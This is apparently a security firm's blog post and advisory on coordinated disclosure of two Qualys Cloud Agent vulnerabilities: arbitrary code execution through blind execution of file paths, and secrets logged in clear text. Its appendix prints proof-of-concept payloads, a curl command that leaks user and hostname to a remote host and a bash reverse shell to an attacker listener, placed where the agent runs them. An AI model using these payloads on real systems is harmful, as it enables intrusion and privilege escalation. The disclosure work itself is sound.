Unqork and Qualys Partner to Resolve Zero-Day Vulnerabilities

About vulnerability disclosures

Responsible vulnerability disclosure (also known as coordinated vulnerability disclosure) is an industry accepted standard that promotes the responsible disclosure of security research and vulnerabilities to provide a vendor with reasonable time to address vulnerabilities through remediation and mitigation prior to the enacting of public disclosure. This process includes a reasonable approach to the coordination of the disclosure which is usually performed after a vendor has had time to address the issues. Typically, this window ranges from 90 to 120 days.

Detecting potential vulnerabilities

While performing security control validation, countermeasure deployment, and testing, Unqork’s Product Security and Threat Detection & Response teams recently discovered multiple vulnerabilities within the Qualys Cloud Agent and promptly began working with Qualys to remediate them.   

The initial alert, which fired on all Linux systems simultaneously within a portion of our cloud estate, was the following command:

/bin/sh /usr/bin/which routersploit

Eager to find out what was looking for routersploit within our estate, and with a hunch it was a Vulnerability Management component, we started digging.

Digging deeper

We were soon able to confirm that the problem lay with the Qualys Cloud Agent, an installable agent for endpoints that enables organizations to execute authenticated scans against their endpoints. This cloud agent, we discovered, was running the above command, as well as others that were suspicious, including an attempt to execute the Metasploit binary msfconsole. 

We investigated further, ascertaining that a vulnerability existed which we confirmed through the weaponization of simple proof of concept exploits. 

Partnering with Qualys

We promptly reached out to Qualys to inform them of the issues we’d discovered, as well as to the CERT Coordination Center and MITRE to initiate the vulnerability coordination process. 

Then, members of the Unqork security team partnered with Qualys to help them understand the vulnerabilities and provided a video demonstration showing how the vulnerabilities of the Qualys cloud agent could be abused to execute arbitrary code, leading to privilege escalation and direct control over the endpoint. 

Together, we went over the list of vulnerabilities, including: 

• Vulnerability #1: Arbitrary code execution (CVE ID: CVE-2022-29549) 
• Vulnerability #2: Sensitive information disclosure (CVE ID: CVE-2022-29550)

For detailed information, see Appendix 1. 

 

Mitigation & remediation

At the time of discovery of vulnerability #1, Qualys recommended installing their Cloud Agent for Linux with root privileges in their Cloud Agent for Linux Installation Guide dated March 9, 2022.  Through several workshops with Qualys and as a part of remediation efforts, Qualys has updated their documentation to reflect modern installation options for organizations following a least privilege approach and removed a recommended deployment option of installing the agent as root by default.

Note that per Qualys, Policy Compliance scans will still require the sudo/root privilege in order to operate as intended for comprehensive detections.

Additionally, Qualys has changed the way the qualys-cloud-agent conducts its vulnerability signature scans. Qualys IDs (QIDs) are vulnerability identifiers assigned by Qualys and used when scanning for vulnerabilities. QIDs that performed blind execution using absolute paths were updated to have an alternative signature checking method, and QIDs using absolute paths that don’t need root privileges were updated to be executed using the safe-exec approach.

Unqork performed two re-tests. The same attack vector leveraged in the original test was unsuccessful as the script used in the original test was no longer being executed by the Qualys Cloud Agent. The second test consisted of creating numerous binaries in absolute paths that Unqork was aware of using the script in Appendix 2. Thirty-three of the absolute binaries were executed by the Qualys Cloud Agent, and 125 binaries were called out in the Qualys Cloud Agent logs as “command not found”. The full list of these binaries can be found in Appendix 1. 

While Qualys has taken steps to mitigate the issue, there are additional steps that Unqork believes should be taken to prevent the logging of sensitive information (e.g. structure log filtering and tokenization).

Unqork believes that regardless of the state of an endpoint, services should take measures to prevent the logging of sensitive data as a part of secure coding concepts—especially security controls that perform logging functions. Unqork also believes that an attacker need not have access to an endpoint running the qualys-cloud-agent in order to compromise the endpoint.

Conclusion and Transparency

In the Qualys Security Updates: Cloud Agent for Linux blog post, Qualys acknowledged that “lessons learned were identified…and new preventative and detective controls were added to build processes, along with updated to our developer training and development standards.”  

Most vendors will simply patch a vulnerability, which in reality is just a symptom of a larger root cause. In this case, Qualys not only actively sought to partner with Unqork to understand these issues, but also identified areas for improvement on their side to prevent similar occurrences from happening in the future. We commend Qualys for their response and appreciate their partnership in remediating this issue. 

Watch the video about the discovery, mitigation, and remediation of the Qualys vulnerabilities. 

---

Appendix 1

Vulnerability #1 – Arbitrary Code Execution

CVE ID: CVE-2022-29549  

Severity: High (CVSSv3 7.3) 

Access Vector: Local

Qualys Advisory ID: Q-PSA-2022-001

Description: Arbitrary Code Execution in the Qualys Cloud Agent allows an attacker to achieve code execution in the context of the qualys-code-agent user.

During its normal operation, Qualys Cloud Agent scans the file system that it’s installed on and attempts to blindly execute specific file paths to shell scripts and binaries (the full paths known to be affected are below in the ‘Additional Information’ section). Due to this behavior, an attacker just has to create (or modify/bind to) a file that qualys-cloud-agent scans for. When the qualys-cloud-agent comes across the file, it then executes it in the context of the Qualys cloud agent, thus allowing an attacker to achieve arbitrary code execution through the qualys-cloud-agent and escalating privileges.  

Example 1 – ‘Malicious’ cURL

A simple script was placed in /opt/mongodb/bin/mongo with a payload to execute a self-cURL to determine if the cloud agent would execute and run the script. As shown in the screenshot below, the HTTP header leaks the user in which the payload was executed; confirming code/command execution (whoami and hostname in this case). The ‘rce’ in the user agent is a misnomer, since at the time of creating this proof of concept we were not fully aware of the exploit chain. This is arbitrary code execution and not rce.

Payload

curl -v -A “current-user-qualys-rce: `whoami`” -H “owned-system-hostname: `hostname`” https://[redacted]

 

Confirming our hunch that this would be exploitable past a simple proof of concept cURL command, we moved on to our next example, establishing a reverse shell as shown below.

Example 2 – Reverse Shell

In parallel to the above proof of concept, Unqork Security created a simple reverse bash shell script that, when executed, establishes a connection from the endpoint with the qualys-cloud-agent installed back to an endpoint controlled by an ‘attacker.’  

Payload

bash -i >& /dev/tcp/LISTENINGIP/PORT 0>&1

With LISTENINGIP being the ‘attacker’s’ host machine and PORT being the port the attacker is listening on – in this case a simple netcat tunnel was leveraged. 

Knowing that the Qualys cloud agent performs blind execution on file paths and binaries in its index of checks, we built our payload into a non-existent file with the reverse bash shell payload from above on the endpoint:

/apps/tomcat/bin/version.sh

At this point, it’s a waiting game for the cloud agent to perform its file scanning.  

Upon scanning for existing files, when such a file exists, the qualys agent executes the binary or script. With moments the qualys-cloud-agent process initialized a reverse bash shell to our ‘attacker’ endpoint (as can be seen in the ptrace below).

Mitigation Recommendations (pre-remediation)

Blind shell and binary execution of untrusted sources on an endpoint makes little sense from a security perspective. Instead, a safer mechanism would be to conduct a binary hash comparison to determine if malicious binaries existed on an endpoint, rather than attempting to locate binaries and executing them. This is especially dangerous if the qualys-cloud-agent is installed as root, or with sudo privileges. In addition, the vast majority of these binary files have the version number embedded in the file itself. A simple python script would be sufficient to open the raw file, examine the version number, and report hash and version. In the event new, unknown files are seen, should dynamic analysis be required, it should be done on an isolated system with customer consent.

In addition, code executed which wasn’t the intended binary can be omitted from logging, potentially due to how the Qualys agent conducts inline grep’ing for expected results (i.e. |grep -i version). Evidence of this being used could be obtained by reconciling the list of Qualys “non-existent” files, with files that actually do exist on the filesystem.

Recommendations for Qualys

• Investigate additional methods for checking binary metadata, and design an alternative method for identifying versions of potentially malicious files rather than blind execution and grepping for version flags.
• Research operating system’s native ways to detect and prevent abuse (sandbox) of malicious files and actions that can be hooked by the qualys-cloud-agent.
• Example: On Linux, an implementation of Secure Computing Berkeley Packet Filter (seccomp-bpf) and other related capabilities can help prevent malicious execution of binaries.
• Research off-endpoint binary detonation as an alternative to on-host execution, especially for unknown binaries and/or version checking.
• Build countermeasures to prevent malicious binary execution. Note: The qualys-cloud-agent should be defensively written to prevent arbitrary code execution in the context of the agent.

Vulnerability #2 – Sensitive Information Disclosure

CVE ID: CVE-2022-29550  

Severity: High (CVSSv3 5.5) 

Access Vector: Local

Qualys Advisory ID: Q-PSA-2022-002

Description: Sensitive Information Disclosure in Qualys Cloud Agent allows an attacker to retrieve sensitive information on disk.  

Due to the way the qualys-cloud-agent behaves, it is possible for non-authorized users, who have exploited CVE-2022-29549, to access sensitive information that is dumped from commands executed with sensitive data that would otherwise be protected and encrypted. 

An example below shows an example of the qualys cloud agent running /bin/ps auxwwe and dumping it into the qualys-cloud-agent-scan.log file. If any commands were run with sensitive credentials passed directly into the command, they would be logged and displayed here. 

Once the above runs by the qualys cloud agent, the clear-text is output to log files only the root user can access. However, by abusing the privilege escalation vulnerability and gaining root privileges, an attacker can elevate privileges and then access environmental secrets being logged to the qualys-cloud-agent-scan.log file.

This is done when the qualys cloud agent runs the /bin/ps auxwwe command and dumps the full output into /var/log/qualys/qualys-cloud-agent-scan.log.

Below is an example of the content contained within the qualys-cloud-agent-scan.log after dumping various environmental variables from a mock-production environment. 

Mitigation (pre-remediation)

To prevent sensitive data (credentials, private keys, tokens, et cetera) from being recovered by a malicious user, the Qualys cloud agent should prevent dumping processes with sensitive information in clear-text, regardless of what permissions are set on the files. 

Remediation

While Qualys has taken steps (see Conclusion and Transparency) to mitigate the issue, there are additional steps that Unqork believes should be taken to prevent the logging of sensitive information (e.g. structure log filtering and tokenization).

Appendix 2

The below is a list of binaries and absolute paths that were discovered to be executed by the qualys-cloud-agent process.

 

/bin/lsnrctl /opt/IBM/WebSphere/AppServer/bin/versionInfo.sh /opt/SUNWappserver/bin/asadmin /opt/SUNWwbsvr/https-admserv/start /opt/asrmanager/bin/asr /opt/bmc/bladelogic/RSCD/sbin/version /opt/boksm/lib/boksversion /opt/firebird/bin/isql /opt/glassfishv3/bin/asadmin /opt/ibm/BPM/v8.0/bin/versionInfo.sh /opt/ibm/BPM/v8.5/bin/versionInfo.sh /opt/ibm/BPM/v8.6/bin/versionInfo.sh /opt/mqm/bin/dspmqver /opt/nwreg2/local/usrbin/nrcmd /opt/qradar/bin/myver /opt/zing/zing-jdk11/bin/java /opt/zing/zing-jdk7/bin/java /opt/zing/zing-jdk8/bin/java /sun/webserver7/bin/wadm /usr/bin/dropbox /usr/bin/dspmqver /usr/bin/hadoop /usr/bin/kcare-uname /usr/bin/lsnrctl /usr/bin/svn /usr/iplanet/servers/https-admserv/start /usr/local/bin/db2ls /usr/local/bin/docker /usr/local/bin/gpgsm /usr/local/bin/libmikmod-config /usr/mqm/bin/dspmqver /usr/sbin/squid /usr/sbin/xcomd npm activemq adinfo aex-diagnostics airflow ansible apache2ctl aria2c asterisk busybox cabextract centreon clamav-config clamscan cli concourse conda confluent containerd cups-config datadog-agent dnsmasq dpkg dpu dropbear evolution exim f5fpc ffmpeg firefox flume-ng gconftool-2 gem gfsh gimp git gitlab-rake globalprotect goahead go gs HDB helm hhvm hive httpd

inetutils-telnet ioslevel isainfo java jerry jupyter kibana konqueror kubectl libpng-config libreoffice4.3 lighttpd magick mesos-master mesos-slave mmm_agentd mokutil mongo mongod msfconsole mutt mysqld nagios named neomutt nginx njs nmap node nodetool npm oc ofxdump openshift openvpn opera ovdeploy php pip playsmsd psql radiusd rails redis-cli redis-sentinel redis-server ruby show smbclient smbstatus snap snort socat ssh-server-config-tool supervisord tethereal thunderbird tmsh uptrack-uname vlc vmware vmware-toolbox-cmd weborf weechat-curses wireshark xe xentop xl xmms zabbix_server zf freeciv-server java oc salt salt-master salt-minion spark-shell vmware-view

 

Appendix 3

The following shell script can be used to determine if the Qualys Cloud Agent is executing or attempting to execute binaries in your own environment.  With all third-party code, we recommend you review the code before executing it on your endpoint(s).